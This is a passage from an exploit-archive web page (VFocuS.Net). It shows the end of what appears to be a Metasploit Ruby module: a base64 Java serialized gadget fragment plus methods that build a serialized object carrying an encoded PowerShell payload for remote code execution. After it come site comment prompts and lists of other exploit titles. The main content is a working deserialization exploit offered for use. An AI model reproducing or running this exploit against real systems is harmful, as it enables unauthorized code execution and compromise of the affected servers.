XRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"

    # Generate Payload
    cmd = gen_payload
    tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
    tmp = tmp.to_s(16)
    length_param = [tmp.rjust(4,'0')].pack("H*")

    # Convert command length to binary (two bytes, big-endian)
    tmp = cmd.length.to_s(16)
    cmd_size = [tmp.rjust(4,'0')].pack("H*")

    # Some assembly required
    serialized_data =  jsonss_start
    serialized_data += length_param
    serialized_data += jsonss_mid
    serialized_data += cmd_size
    serialized_data += cmd
    serialized_data += jsonss_end

    return serialized_data
  end

  def gen_payload
    # Powershell payload
    cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·Emacs movemail Privilege Escal
·Microsoft Lync for Mac 2011 -
·NEC Univerge Sv9100 WebPro 6.0
·Apache Superset 0.23 - Remote
·Mozilla Firefox 63.0.1 - Denia
·Joomla! Component JE Photo Gal
·PaloAlto Networks Expedition M
·Fleetco Fleet Maintenance Mana
·CyberArk 9.7 - Memory Disclosu
·Joomla JCE 2.6.33 Arbitrary Fi
·Apache Spark - Unauthenticated
·VBScript - 'rtFilter' Out-of-B
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved